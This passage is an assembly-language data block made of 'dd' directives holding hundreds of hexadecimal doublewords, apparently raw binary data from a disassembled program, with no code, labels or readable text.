0D5A2E352h, 6701744Bh, 4BD8BA54h dd 87E04B52h, 27F950F2h, 264979D4h, 130A1116h, 5329AE1Bh dd 8D775782h, 29E07C18h, 0A2CD8EBBh, 4516F09Dh, 0F2E8D486h dd 89DF559Dh, 0E8AA1936h, 753A7070h, 0FFC6AC10h, 17A3C8DCh dd 5ED1E2EBh, 0FF2E782h, 0A9DAAD3Ah, 585D4B72h, 85E11EBDh dd 880100D3h, 0FB2337E0h, 0F8E15D97h, 5B2BFD93h, 0D5537A60h dd 7BAEC570h, 6F277EFFh, 63E0DB8Fh, 27EDE34Ch, 154EE518h dd 7ED5FB7h, 0D1A3E741h, 252A3150h, 45CEB055h, 0DF423D61h dd 7103FF69h, 0E43A9B9Dh, 0AACADF94h, 1208783Ah, 252DBD20h dd 0FCB4DBAEh, 2FC337C5h, 3ECA2134h, 23AB7F14h, 5D220B9Dh dd 87A90A9Dh, 0C1DBB826h, 562D1F83h, 33EAD8C5h, 3D7515CCh dd 25D950B6h, 920B2153h, 4F645539h, 95B70857h, 65E657E2h dd 703C5607h, 3B6DE045h, 0D299FD0Dh, 0A0FE8304h, 568DCAD3h dd 90F54D74h, 0FB878D8Ah, 17FA4DEBh, 11F7F55Fh, 47DE77A1h dd 7F9E028Bh, 0F8DE7397h, 8EF7A876h, 9C2B7EB9h, 425C2A0Eh dd 95ED5CB3h, 0EDE0B14Ch, 0BE11691Ah, 0EB175499h, 0D0A35E6Eh dd 1CEB129Dh, 636210FCh, 809B4EA2h, 10B84E2Fh, 70EC546Dh dd 6B02A70Bh, 12C8B4D3h, 0F878ECDFh, 830F261h, 5CFD37CCh dd 26763D0Eh, 22CB4180h, 26273125h, 9234C198h, 0AD1485ACh dd 11DA0E55h, 0DAB8288Fh, 4D5BDEACh, 0B4783E55h, 1AD573A4h dd 0C3C0FD18h, 547E3A1Dh, 69DF5E3Eh, 3F220978h, 4FC7DF8Eh dd 66138183h, 9CE2A2DEh, 0B60FC289h, 0B840A77Fh, 0C4033605h dd 6232E125h, 590D2D69h, 699FE93Eh, 0DF43BF11h, 59DA38EFh dd 0BBD75BEFh, 0E10F949Dh, 0A16075D2h, 0F6AFC7D7h, 2C6E1C1h dd 0E0B49895h, 0CA60A2F9h, 362843B2h, 0F50DB6E2h, 16509DDDh dd 0A4803BB1h, 0CD55C3A8h, 500157B5h, 0B066704h, 51302CF2h dd 76B8110Ch, 0D81091E6h, 0B8123EE8h, 0D67AEFA3h, 0E39DFB6Ah dd 0E6C5125Fh, 3835DC41h, 5F93F839h, 0D4A90A40h, 1F9EFBAEh dd 0B7FB8A62h, 601BE211h, 0BA54FEA8h, 0DE6BC8C6h, 702FB4CDh dd 0C056383Dh, 51D9CD45h, 47548DCEh, 56B3376h, 685CB56Fh dd 903A1AB3h, 563B3154h, 1721B9F7h, 0AE0743F2h, 94E1EDEDh dd 0BAA0D1ACh, 0C33E62C8h, 0A3B8A11Ch, 0BEF8A54h, 0DEDD7B87h dd 0E931866Fh, 7A0B0FC6h, 0AAB24DADh, 0BB4C6675h, 0E08955FEh dd 9F0F62B2h, 0B46CA6C8h, 0CF70686Dh, 7B7CBFD9h, 69F51613h dd 38216D0Bh, 91F68DF4h, 0CFABE19Dh, 93291DF0h, 990DF750h dd 2737C057h, 884355CEh dd 29A55796h, 0DEA97696h, 0C7F0B6CAh, 0D89A6390h, 0A879EEACh dd 0B32F9C28h, 652A02E2h, 5CE146ECh, 3B69AEADh, 0FBE477D4h dd 66DAAE0Eh, 98DAB304h, 3EA1AABBh, 3C8928D3h, 6CE5010h dd 44C52281h, 5F7E5D01h, 7166EB6Bh, 34123F36h, 0B24507Dh dd 0EC7E23F4h, 0F54E0E8Bh, 124D36B0h, 224982A6h, 0BB3167A3h dd 0BE22DC11h, 888F3E0Fh, 0EDE7A6B1h, 95622BC0h, 3CAD5041h dd 0ABE1DA8Dh, 0A93642E2h, 6383FA7Ah, 2AC3F4Ch, 0C3C186B4h dd 2D7F1D4Ch, 845D2339h, 0B12147A6h, 303CF01Bh, 16FFE7EBh dd 9FD53E85h, 795E7805h, 8867C810h, 0B4957591h, 0FE338110h dd 0FCDE3894h, 3DDD68FAh, 92D0C49h, 51A24523h, 0B62D41F6h dd 0DA2C1455h, 4EC87C55h, 0E8770D0Eh, 30ABF02h, 59879A7h dd 0DDE5B75Fh, 0EB28061Ch, 0DA044EB3h, 0FCE8A06Dh, 0A1822BABh dd 9AE10117h, 456A18ECh, 7D8D9A65h, 0BEE73136h, 6F9751F8h dd 0F0D6EE26h, 1D4CD7D5h, 0DB208D66h, 0AA2B7525h, 100A71DDh dd 0F0FCD6EDh, 4CFAD727h, 0CE2B4631h, 0CB2CD1D8h, 87AD59A7h dd 0B54BB87Eh, 99C71F8Dh, 0E09CC55Bh, 52447C0Dh, 0E7AB3AFDh dd 6CF5F2E5h, 8066293Eh, 283C3E3Bh, 0B6AE67CEh, 117D495h dd 1AFC83AEh, 0DC89D8E5h, 52D905BAh, 227CF84h, 13D44299h dd 0FFE94E33h, 36210184h, 0E52A67EEh, 8C30B1E6h, 0FE2FEECBh dd 27D8BBC8h, 4EE4F296h, 922DE5ABh, 0CE4A0D2Ah, 9AB432FCh dd 3AB79D97h, 0EB3AED17h, 0EAFC2677h, 70D705F1h, 55A419A8h dd 2D774656h, 3F57DB4Dh, 9379EAD4h, 47AB12FAh, 5EFA7A8h dd 0A6F7FE71h, 5E1EF980h, 59E87601h, 5A2AFDE7h, 2F86D4A8h dd 9C3E662h, 0BCA335D7h, 0C50F5F68h, 79636196h, 1ACA438Ah dd 1679557Ch, 0A8442420h, 0AB14399Ah, 7652CEA5h, 0D252998Eh dd 0B3894A97h, 956B2B5Fh, 930A7A3Dh, 0F290446Fh, 3C75D02Ah dd 0A6645327h, 0A2ADA56Dh, 1A2DAA99h, 705340DCh, 0FF38A221h dd 52E231A2h, 41557E3Ah, 656088A1h, 0C32F82DEh, 0D7B8DB8Bh dd 8B3528B4h, 1740436h, 0BC7F4723h, 51F4972Bh, 41D07669h dd 98557D65h, 0ADF2A12Dh, 0C112F1D6h, 0B56380A1h, 0B12F9B88h dd 3F8D27Dh, 0AB6F3483h, 0E7CDB6F4h, 80EEE79Dh, 0FC44ECAh dd 42FB5A5Fh, 97C4F13Bh, 0C28FD5F6h, 151A5480h, 3D9467Fh dd 0E94E1457h, 0F934D3E7h, 6E520A56h, 0DBAA3F19h, 1B7879BFh dd 0BDE93A5Bh, 985F0AC4h, 0D5A9423Ch, 25DB880Eh, 0DA47EEE7h dd 0ABBDB2B6h, 44C11F47h, 8A110B71h, 4F24F027h, 0CF5F9715h dd 2261CFE9h, 0D7C47F8Dh, 0F65F3E3Dh, 0B12E0484h, 0DECAF3B9h dd 0E9098789h, 66073BE1h, 2C5C55EFh, 0B6A9939Eh, 0BFF01798h dd 945468EBh, 0A5012A18h, 6D1004E4h, 0F5920CADh, 0B9E2969Dh dd 0C8810DEEh, 960A8393h, 3D666857h, 0C8BC26EBh, 629D7FECh dd 0D94BA162h, 1EDC71F0h, 0A2DF22Bh, 60500679h, 5AA57F7Bh dd 5DADB33Bh, 0EB81114Dh, 0D2CE6942h, 34DA8C4Bh, 716BE0DAh dd 7D6DC316h, 3360BEA3h, 0DB2BCA4Bh, 0A1B953C9h, 7E352772h dd 7404B8B6h, 431771A5h, 0AAADECFEh, 7B47F1ACh, 708AA095h dd 0BBBA6AABh, 1B15D7D6h, 0E6E3CB31h, 0FAFBC906h, 98BF3027h dd 72808A2Eh, 7D035B07h, 244BD024h, 5A3D3C7Eh, 0C3FF7F3Fh dd 8A6CBD7Ch, 6AFC9C1Dh, 3D1EECFFh, 0FBF47BFDh, 57AE3902h dd 1510227Ch, 4F877AF1h, 4AFB7CB6h, 440E8B8Dh, 0B0F2168Fh dd 0B6D5659Fh, 23A502B7h, 0F03F6627h, 0ABAFABD6h, 0C32D3864h dd 7817292Fh, 941F98B1h, 33AF5881h, 53362A60h, 58B4EB2Eh dd 36BBFF79h, 0BD2E48B1h, 0F8E23540h, 304C69E8h, 0F2A7F65Ah dd 0A99B065Ah, 0FF63F640h, 0DB4A8D64h, 4DD864Bh, 47745AE6h dd 0D58985CBh, 30E8CABh, 17D2508Ah, 6474E38Eh, 514BE0Dh dd 9B1B7FBCh, 0F198887Fh, 3637D62Fh, 882260BFh, 4BE9F066h dd 6AA575EAh, 0EBC897CAh, 8DE208h, 288C468Bh, 0CA69B3BBh dd 0A2D9623Bh, 9286B73Fh, 10888523h, 8AABE08Ch, 56B4BB66h dd 0BAD9F351h, 0EE695EEBh, 1E23E03Ch, 812C10FCh, 1BE1CEBh dd 0EB9BD31Dh, 70F6E7D5h, 2ADE33A1h, 0AAABE5AEh, 5A95E71Dh dd 0A9BEF8C1h, 0ABD84EEBh, 361FC5CCh, 0A8F41FBFh, 0F019CA9Fh dd 0CC0D76A0h, 9648C832h, 92298CC6h, 354FA8FCh, 73011B96h dd 0A77917D9h, 354A318h, 0AAA4AA90h, 0DDF15FE8h, 6B4D81FEh dd 30BDE1F8h, 0E5DB8814h, 0F1E5F4ADh, 9DAD9D17h, 3AD317D9h dd 0ABE010C9h, 0B5B049F4h, 7F564FC8h, 6FD07A71h, 8DB4334Dh dd 94D2BE20h, 0E2FDCA3Fh, 7CECB25Fh, 2DB4E2DCh, 0F61D3F05h dd 0DDFE82C3h, 5DED506h, 1D3A171Bh, 7FE1F855h, 8413A53Ah dd 93837ACBh, 48D4BF7Fh, 4CFCCD8Bh, 3F81C04Eh, 0E55BDF1Eh dd 0C1A4E7E1h, 43C49B22h, 0BC16EF09h, 482BA665h, 0D5658EECh dd 69DEFEB4h, 0E11E41A4h, 0B0507D55h, 0A7BADC7Dh, 0A971E7Ah dd 5C1E3789h, 4423FAFCh, 0F7DB0465h, 3DDED15Eh, 0D9E9567Bh dd 8739791Eh, 58E35B4Bh, 5995EBF9h, 0FC85AFB3h, 1907B0C7h dd 0B119F971h, 0F19DB264h, 62F637DDh, 7E8369CBh, 0B22D655Bh dd 9677BB0Bh, 827DF78Ah, 4309CE9Ch, 895D8057h, 1E1443FDh dd 7CBAA6EAh, 95C92871h, 597CDBD0h, 8967692h, 0F237353Ch dd 0CBB23CF2h, 57606FBBh, 647D6912h, 0D3F01B69h, 0F734CB7Ch dd 2893D5E7h, 1273E22h, 7995575Eh, 264445F2h, 687ED6B5h dd 0F106E212h, 259526EDh, 16BA267Ch, 0DE8FEC5Fh, 0ACCDEE34h dd 2D19D92Dh, 77F4DBE9h, 982F69D7h, 0E287AF32h, 66829453h dd 0E77C161Fh, 67BD050Ch, 0F078D9C6h, 852A5FFAh, 8C176A1Bh dd 7C537F1Ch, 858D1303h, 0FA8D6D11h, 0E3177B7Ah, 8B6DC563h dd 6CE47ED5h, 0B16ED786h, 1DD68D7Ch, 0A2CE9042h, 51CD3E82h dd 63A852FAh, 21453041h, 198FD55Dh, 0C2631685h, 43F1230Fh dd 0CB4EBDBDh, 0EB9C906Fh, 5771B723h, 0FC7E89BDh, 0F2696BF0h dd 0C72DCEFCh, 65DBEFF0h, 39261C70h, 5E5BD2ABh, 0E5FD03Ah dd 77561631h, 379B8647h, 2B1F62B5h, 0E669469Fh, 78A68D2Ah dd 48D41D9h, 0C5FDC5FCh, 9716E1B5h, 1E5D1CC8h, 0CD500A09h dd 0ACD17EF7h, 0EEFF125Ch, 0C0DDAA1Ch, 0F75D2916h, 3744E86Dh dd 5E039ACFh, 0E1AEE3B5h, 0C1E4DF3Dh, 0F254D319h, 30ADC657h dd 0F434A1E4h, 6D8A2297h, 44A2BE34h, 5526A255h, 8AACE15Ah dd 2D157D7Ah, 1BEC7F67h, 6AA4EFD6h, 3716B84Fh, 0E1BB4E42h dd 4B1D5B5Dh, 4C55F042h, 2EDC1D28h, 0DFA9A14Eh, 393897F5h dd 0B1A90688h, 0C5519F81h, 0BD873723h, 0BDAD7F6Fh, 92087396h dd 4AA4AA26h, 0CA5ACCBFh, 2E10D178h, 0F13714Ah, 0CFB9C87Eh dd 4F943D1Bh, 71EDAF6Ch, 0C2DBF9A3h, 56AAEA32h, 0A65D8BFDh dd 0DB5E7BBFh, 0EB217DAEh, 0EB2A2D8h, 88F765AAh, 29C0E93Dh dd 0B4C02CC2h, 0BBDCE14Eh, 0B3B561C5h, 217CB8D2h, 0B918BE0Fh dd 637F9EA8h, 4C237E2Eh, 0B2C20A0Ch, 404D03C1h, 3F497A79h dd 0BEC0705h, 10358928h, 0EA68228Eh, 0E4ECF8F2h, 869720D6h dd 8135B81Fh, 0DD02DBBBh, 0E61025D4h, 0C00A0EA6h, 56555148h dd 42C29187h, 913369B9h, 0E458B011h, 5E815D05h, 0F393FDD1h dd 58D86704h, 0AECB5653h, 9DAA5751h, 9283A9EEh, 5D1F700Ah dd 0BCAA2CF8h, 0FD5FB2Dh, 0A795F645h, 0E7CBDA35h, 0FDB68912h dd 331C376Dh, 14087B57h, 487E1E3Ch, 307E7A7Bh, 450069Dh dd 8C2F9DBEh, 32FCE4BCh, 6C63D290h, 74142A8Dh, 853D7E51h dd 95679923h, 81811E99h dd 0F0D22DD9h, 50CCA4EDh, 0EF97A31Bh, 17495F89h, 0A1D7147Fh dd 9513E04Fh, 0E255B555h, 0E96FD8E9h, 0AC19ED19h, 2BDA2734h dd 829419E5h, 15C26DB2h, 0D42D92EEh, 0BB4626D4h, 21F1BDEh dd 6ABD36B7h, 9511157Fh, 0F2B5249Bh, 2ADF4F3Dh, 5EEF34BFh dd 0F352B6F2h, 0AFD580F7h, 0DA298A43h, 0C4FF4852h, 9ABA4ACBh dd 95AA29h, 8692251Fh, 1C1FCA06h, 37773012h, 8B0F32ADh dd 8074E4F6h, 0DA2A8391h, 4F82CC39h, 3CB915D5h, 0D0473E11h dd 98BF9D4Ah, 2FB7BD04h, 0BF867897h, 856367E6h, 528F0666h dd 66445750h, 6CA0D7F8h, 2F93A38Fh, 0B73451FEh, 0C12CAD98h dd 0A0B5116h, 0BFE7DEDDh, 0BE075017h, 19BCC2E2h, 7DD556D1h dd 0FED27020h, 0B47C39CDh, 6FF6C7AEh, 0B1691443h, 0A0A85E8Ah dd 78DF4EC4h, 6057560h, 0B9416F77h, 30FC332Eh, 543C5D39h dd 0A805640Dh, 299A6F27h, 5DB4771Dh, 0E8EAF95Bh, 21578E89h dd 0FCC7D2E5h, 49AC6A74h, 253EED1Eh, 8C2492C8h, 1966BA3Ah dd 7861F2D8h, 7B6FF4C9h, 9CA9AD58h, 9E45368Bh, 0F3D179A6h dd 0AD607D03h, 8C256993h, 0C9C908BCh, 3D5B2E8Ah, 4B0D8A0h dd 7C684E5Bh, 0ADD17D3Dh, 0A1137E08h, 685373CEh, 6782CDABh dd 81F80E7Dh, 0BF814A15h, 253DFF0Dh, 1A1F4727h, 462A2D58h dd 439A9628h, 0BB1C1C54h, 14224FC2h, 0EB16101Fh, 0F9EF1F88h dd 0BA5E0B8Ah, 3249EC4Eh, 6E67881Ch, 74D111CEh, 51F77CEh dd 9B27A2D8h, 717488D9h, 7B0A9FA1h, 88AC5EB8h, 1694C78Ah dd 95F698C7h, 0F81EB235h, 0D6734967h, 6549F7D7h, 51FD4D66h dd 7CD05361h, 5FA05BE0h, 0DCE320FEh, 72AB5DF5h, 70D92288h dd 6E414AE9h, 0E3B6C525h, 0D6D8BA84h, 0A96AA4D9h, 367B9A89h dd 0B81E70CEh, 0BB9F46ADh, 2E1754D2h, 0AC88AAA9h, 5D2288F3h dd 2EF819E1h, 0AD7978E3h, 0DA0AA3C4h, 0EF157593h, 8B7F4696h dd 726232F2h, 5498BDEDh, 8973E26Fh, 0F95B7FEBh, 125B311Dh dd 0A011699Bh, 0E5EA9BE8h, 14DEB443h, 0BF85F835h, 2B5C5B38h dd 33CA5528h, 0EFAC7155h, 0C0A08DA3h, 0B3FDDD35h, 72F0A9A8h dd 0D73C7BA8h, 334C7AF6h, 34133405h, 0C54C22D4h, 2171EFC6h dd 1C3074D4h, 0D7F0DAECh, 0F156A253h, 129DB4D5h, 70EB1F3Eh dd 0AF461C43h, 0AB7C8581h, 0FC1A5C94h, 34780D3Bh, 0DDAEB563h dd 7C6BAB68h, 98C5685Dh, 57358D02h, 0D15C4D54h, 0AD582BC7h dd 2183E1A2h, 5A34DCC3h, 36895FCEh, 0BCE4B09Bh, 0A2A55088h dd 0BE9AFB4Eh, 0C3E1BFD8h, 0CFA40D02h, 0F3772AEh, 0A80349AFh dd 4E608626h, 103666B7h, 9CB05D2Dh, 19236B4Ah, 0BE2D3AF1h dd 0E43BF48h, 0BA89964Dh, 0F38195C6h, 0CB0913C2h, 387EF7C9h dd 37D6D39h, 75060285h, 36E306F9h, 56218B46h, 0D4359AFh dd 0F04A6ABFh, 4CF45115h, 8E835641h, 2A8FBA1Fh, 7E951C55h dd 2D12999Ch, 46C5745Ch, 9E740C87h, 0C49DC1F5h, 4F9D63EFh dd 0CA5D7654h, 5E239A67h, 0BA9D2327h, 1B3D24E5h, 0AD8F1549h dd 0DAA80A57h, 0A553BDA9h, 4D54813Eh, 0AA317CE6h, 0A6B142D4h dd 0ACF0B8ACh, 51D9A48Bh, 14B0AD15h, 0DAF28DF5h, 0BB121DDAh dd 0B45B7E57h, 0C7CD8191h, 1CB2796Bh, 2FC21137h, 33C7128Ch dd 0E3ADA5F7h, 0C02092CAh, 0A1EF308Fh, 361048F6h, 0FEE013CFh dd 7245243Ch, 1EB6DFACh, 0FEAEA291h, 0A3B5F44Bh, 0D51CD34Dh dd 0F3D37D92h, 0DD4DEC77h, 0E4F77B7Bh, 76B558Dh, 7C7C6A0Ah dd 1C095288h, 0BF8A2837h, 0AF2D5488h, 0B9F50F9Ah, 1277AF79h dd 2BB67B47h, 2562B48Ch, 8BCC806Ah, 0F8107BB6h, 9577825h dd 0A38BDDE5h, 0AAF01EDAh, 0A3ACE68Dh, 38DBFD49h, 6D0C8898h dd 22ABC8E9h, 0AFCC0E3Fh, 0BFB9C1DEh, 0E820C95Eh, 392B289Ch dd 0E2DC1660h, 0D605D7BDh, 39808E24h, 6E3703BCh, 70289C1Fh dd 1A220BDBh, 1435C4AEh, 3C2F8741h, 2BB0FFA0h, 684288C8h dd 0B3C9C352h, 7F8E384h, 55E000D3h, 83150583h, 85A325C5h dd 546CEB5Ch, 2312B5D3h, 88E14D0Eh, 9480AE9Ch, 51687DEFh dd 81B8AF82h, 30BA9667h, 9285DF1Bh, 8D2D7722h, 20EDAA39h dd 86BCCC55h, 8918BE63h, 0A12D4BD0h, 4E20A241h, 0E5E36CD0h dd 0F692166Dh, 722696F8h, 0D03D1F06h, 84A0AF7Dh, 0E8CFB627h dd 0E77E3946h, 436ED2E7h, 0E71277BDh, 5B149BD9h, 89638EB5h dd 4943E0A8h, 0DAAB3E4Fh, 9C03B5A6h, 0BE64F525h, 0FC3EDC72h dd 2F18155Ah, 7D4B0DC1h, 0A27D81C1h, 0D3011B27h, 2BC553A6h dd 9D1650A7h, 8C678F0Ah, 8A0B09B9h, 7327A15Fh, 0C9E2AC80h dd 0C887C80h, 0E9BFE51Bh, 84E92E93h, 44169322h, 2CA7953Bh dd 0F84C02AAh, 1F8DB17Eh, 54D686C2h, 770FC16Fh, 9FC06FDDh dd 9DF2C3C4h, 957CFD7Fh, 564E2BE6h, 0C028989Fh, 0CBFD287Ch dd 0FF0F756Ch, 1ECAB62Eh, 7B7DA379h, 5452825Fh, 91A1A21Bh dd 2AFD21B7h, 211CE087h, 58FE8A85h, 0F17A1E44h, 9EB10BE1h dd 1688142Dh, 24FBD727h, 0DAF8AEB8h, 232AB248h, 46ADF37Ah dd 5394C1C7h, 2B65F9F5h, 0BAC68B37h, 0B54F9F7Eh, 9E0F0C10h dd 89685B5Ch, 0C31B570Ah, 9E03A6F4h, 9E56FDBAh, 7DB84F56h dd 0E9DB4B7Ch, 10FC9BC4h, 8804683Ah, 0D64C1DE3h, 90DC168Ch dd 259B56E2h, 0C5292B64h, 0B45790D4h, 6F135769h, 0B708A293h dd 0CB8B73EAh, 0FF4ACFBAh, 0BD888CAh, 0F953E675h, 7E812A94h dd 17FC03AEh, 5A944362h, 7C90D4E3h, 2CDF87FEh, 0F68436BFh dd 1899F46Dh, 2711347Bh, 9B695ADEh, 225BDF11h, 700E7477h dd 0F121DDE5h, 0C74E6934h, 79D0544Ch, 43EE12B9h, 0B45FA776h dd 0A9AD3F2h, 975BA055h, 9E5FAE32h, 0B715BC13h, 49568DD5h dd 0D72993Ch, 2FE721F8h, 364BAD2Ah, 2C0926Dh, 74FA0912h dd 0C4A4185h, 41C7B7B8h, 53DDF215h, 67A8AD81h, 96A18E6Eh dd 0D4F71F29h, 0CE7A3B9Ch, 0B46210DFh, 0EF788D56h, 0BFDD2512h dd 8417A87Bh, 86AE1C16h, 0AF0861F7h, 180B356Ah, 0EDABA67Fh dd 9CA21078h, 0EA0ECC5Ch, 0EFCA1383h, 1AB1C48Ah, 3EE7BC21h dd 0F542FE4Fh, 8ED0FDFEh, 7C145ECCh, 8D67BD0Ah, 6DDB3B82h dd 0F201543Eh, 0F454F423h, 37F883F9h, 0D16E0320h, 98DDF786h dd 3F15A528h, 837CCD64h, 1B7D7282h, 0F0116B6Dh, 643401A2h dd 5F2D80B9h, 9733D7BCh, 7C266FDAh, 7861EEE0h, 0C65B7D55h dd 97E17F1Ch, 73E617C2h, 9E82EBB7h, 0D1D2864Ch, 29961F8Eh dd 52245DD9h, 0B6AA6835h, 0D15AE247h, 9E5BAD1Ch, 0B45E69F7h dd 2D65332Fh, 0B5E2E81Ch, 1E36256h, 70F07478h, 0E41FC5FDh dd 0E70A3F2Ah, 0C7E4EAD6h, 60F9B16Bh, 830EC28Dh, 420AADD1h dd 0C2AD4DA5h, 0E64291CFh, 0FAB69B61h, 0EFADBDB6h, 0B8D811A3h dd 0CB435C94h, 7CCA0AC8h, 0B6F9F131h, 59DB820Dh, 0DAB6E07Fh dd 0CE603751h, 1058CE28h, 0F727E8D3h, 0BC4CC0F1h, 9B4A62B4h dd 7CB91D4Bh, 1A57A993h, 0AE2C0AFBh, 73557C53h, 7DCEB626h dd 2D69B458h, 0AFA169A7h, 0B2592390h, 0BDE19A6Eh, 38DDC3Ah dd 0A9266D64h, 230F1CDEh, 37594FBBh, 0AF71DBC7h, 0C0A19D0h dd 0F8CCA2EBh, 0B8A7E649h, 0FA21DA2Ah, 0A3556686h, 0A13D32AFh dd 3E95A54Bh, 4BB7EF94h, 0D09AED57h, 6DBC6858h, 8FD62E81h dd 1509CC03h, 7F1F0B5Ah, 0A16C47ADh, 0BAB5995Ch, 9D3FACE6h dd 0C0A0D5FBh, 5FFBE7CDh, 0FC61FA0Ah, 0FDD8B288h, 0F1BCE2EBh dd 66DCBA43h, 8BB67F73h, 1E861C7Eh, 2ADEFDFDh, 5891BF0h dd 0F0A16CEh, 0C58A9D84h, 0BF8856B4h, 0BE34045Ch, 2B810560h dd 0F8711BB8h, 0A3D7F556h dd 79B32C8Dh, 0D05A5653h, 40B7F8B7h, 15EF7E5h, 0FB9D233Dh dd 0EE2F6A26h, 0B47D1BE8h, 0DB167ACAh, 0A1AF7FA6h, 0B176F4DDh dd 0BA93F07Dh, 9FD1FD4Bh, 950A6703h, 5DB6A274h, 2BE06D86h dd 0EACE9BDDh, 6142F8A2h, 9C48F5A3h, 90EFA252h, 2047B7F1h dd 0DCC6AB5Ah, 0D0EB835h, 0E2A31F8Dh, 42AD9ECDh, 0FD838B76h dd 6873132Dh, 0DAD0115Ah, 283831CFh, 0B564783Ch, 0EBF11267h dd 596D97CFh, 13EC8A7Eh, 0B47FC6D3h, 87CFE71Ch, 4DC3A0F1h dd 88EDFADDh, 0E4FCD55Bh, 0DAA8E30Bh, 702805F8h, 6B33999Bh dd 0C52BD5FFh, 0B5F11ABDh, 0AE9FC368h, 8D9DDB15h, 0A695758Bh dd 5C1E4715h, 0AF68F0ABh, 27A84456h, 0B5B18316h, 7CD76B1h dd 50FE1AF6h, 1C0B4AD0h, 3D710A42h, 6B5DEA37h, 478EFED7h dd 54AC6003h, 38568B89h, 44AE726h, 0A6ABDFDBh, 7FBF8E3Eh dd 184FF622h, 0BFA44A67h, 305A8920h, 3C9241F1h, 93FE03BDh dd 5C4401A7h, 956771B0h, 6C3939FCh, 0F940BD10h, 5226BB5Ch dd 1803D5D8h, 0C71A7353h, 0F2D7319Eh, 76F0BBDDh, 7BF295EBh dd 50EA92DCh, 55D111E7h, 0E62EFEE1h, 16225AB6h, 911159A4h dd 2FFE8307h, 47BA87E3h, 0BEEF45BFh, 2CB12D1h, 50EF4589h dd 0AE5AB2C8h, 5090A977h, 39548FE7h, 7F85F458h, 14AF4F79h dd 0E8A28FF5h, 0BC73AB9Ah, 0ABD78195h, 37545DC7h, 2BE15A8h dd 37797C2Eh, 2DEE3DA6h, 0C23B9055h, 0F07DFDC8h, 6D2AD4A6h dd 9BEBD157h, 0E1C8D1B7h, 0E17D680Bh, 0EE324E85h, 0B6BA82ABh dd 571D1F8Ah, 0B8E5A159h, 496E7149h, 0A515473h, 9CDC916Dh dd 0D7AC800Eh, 9BD0EB03h, 49DD4DF8h, 3FCA41F9h, 6C3BDA88h dd 0CE23A750h, 0DE1E37F1h, 0BAA10207h, 0EEC086D1h, 0EB28DD72h dd 0AC4DA41Fh, 9FECF128h, 0F925BAA8h, 0A507649Dh, 9CE36B0h dd 0E4D78AD5h, 0E7988EADh, 954A7493h, 2A816929h, 567F9AF3h dd 5F55ABD5h, 17866811h, 9562928Eh, 0F81E9D52h, 7E79604Eh dd 67FCD17h, 828D50FCh, 742D70EFh, 738650B4h, 38BBDCEAh dd 55CA7443h, 0DA23DACDh, 0F46D1BEEh, 0F56FA96h, 0C29B319Ch dd 0CCCDF79Ch, 88742324h, 0BE115731h, 0E05859FFh, 0EDE446E4h dd 0B2AA6B4Eh, 92359F1Ah, 0C3A3460Bh, 722FA3F5h, 6C9B7A31h dd 1365BFF1h, 0B545B792h, 0B4CA0E8Ah, 0D5A742Bh, 0F8F3CC94h dd 0CAE2E2DEh, 0E92FB899h, 7F8C7D21h, 8B16C9E5h, 71A0337Fh dd 0D322EA3Bh, 5947635Fh, 0A1F57D8Dh, 0E07F7234h, 1603E5CCh dd 3CFCB359h, 2C782233h, 0ED134E2Eh, 0B7D8B462h, 0E6E71A6h dd 64C5963Ch, 57251540h, 0FA36EE40h, 27F1A9E0h, 0EF81FF6Eh dd 0FFBEE093h, 5A47E1D3h, 22EB7A9Ah, 0E2BD7E5Eh, 0CF3E1D12h dd 0C4CBF7D6h, 3275F2AEh, 0F1F4EC30h, 1DED52FEh, 62AD267Fh dd 7CED670Dh, 0B7DAB969h, 8DFA1945h, 9F183991h, 4E42089Dh dd 9C5C7FA6h, 29D4BD7Ah, 35B57271h, 78F9A151h, 34E23821h dd 0F622C4F1h, 309FCBAh, 85903B46h, 0E73E141Ah, 0F3695F9Eh dd 0A9522D2Ah, 0D7DFADE8h, 0DDEFDDF8h, 5BD18F15h, 2E702D00h dd 0CFA982ACh, 68EEF3FFh, 0A20973BCh, 0A07723F6h, 885212D6h dd 9BDD8B7Ch, 8854B601h, 0EE0DACBDh, 0AB93AD19h, 6F2B1E5Ch dd 0F544470Fh, 0E6A1305Fh, 0C943DDDFh, 0D5FBC3C7h, 0C334F196h dd 0D465899Fh, 9544EFC3h, 2D542238h, 0C5EE4B75h, 0AF10A05Bh dd 0BC771D0Fh, 4E7326E5h, 90957EC2h, 679FE292h, 0D46C9363h dd 0F36EC304h, 541C8095h, 0B93E2D6Ch, 5B91A48Bh, 0F91B9517h dd 6C7A317Eh, 778FA975h, 2581F68Fh, 7796115Bh, 6447F5E5h dd 0A4DAC3CDh, 2EF5942Bh, 0B06A487Eh, 38B69974h, 5C61670Ch dd 4C416F77h, 36B4A2E6h, 0E5AB0779h, 9B6014A5h, 93560AE7h dd 36F37DFAh, 0C4D76A18h, 873B5A50h, 46AFBE28h, 66B69D4Bh dd 0C1E4CCBBh, 36932B39h, 5793AACCh, 0E61FB33Bh, 0EFD528BFh dd 0A3688DEBh, 0A7D4AD9Ah, 0B7768AE9h, 4FB75310h, 4A449D6Fh dd 3EFDF475h, 2267C5C5h, 0D98C791Fh, 5788F302h, 34155ED0h dd 0EBFAEA57h, 0F346BC0Dh, 0C3EB56A5h, 0A001E765h, 605AC74Ch dd 6A641557h, 0CCF5B36Fh, 0B209E83Ah, 18AF56EAh, 81D30702h dd 617BBE1Fh, 1CA819F4h, 5655D093h, 9F9F541Bh, 0A06B4662h dd 0C5DE925Bh, 0EAE0E3E5h, 654B1EF8h, 6C2991BCh, 0B83417D0h dd 0BE1A5781h, 0FC047FDFh, 4496BFC7h, 0B2D791B7h, 76BF0248h dd 0B37EB735h, 9FD4E7E0h, 4B84D10Dh, 2D9A80AFh, 549DEA8Ah dd 13F1DCE6h, 9EC04C1Fh, 43588A2h, 8B0F5F4Ah, 4D227215h dd 46AA8E4Ch, 7515D9B5h, 0C134BB07h, 0F2AA515Dh, 52602565h dd 94C8E506h, 572DCE47h, 8C0C9FF1h, 0F5EDEDB7h, 7DA8638Eh dd 8024C2B5h, 40611F98h, 0C394753Eh, 9CC568B0h, 5F984C6Fh dd 92BEA702h, 65FF462Ch, 2C7980C6h, 5FEB14D8h, 0C098F4B8h dd 0BC370F2Bh, 0E5D7EA4Ch, 6B46709Dh, 1D7B5AF5h, 0BCD84748h dd 0AD5D1B52h, 51618EB4h, 0D7B9F52Dh, 0E6B6F83Eh, 8229EF71h dd 89E140BCh, 9C0F165Eh, 57E6AC95h, 97DB8717h, 6178D041h dd 93ACF5B4h, 669778DFh, 3906744Bh, 0A42A1084h, 2E6B024Bh dd 434839C7h, 0CD331856h, 9DA25DD2h, 0BCF3BC0Ah, 9718132Fh dd 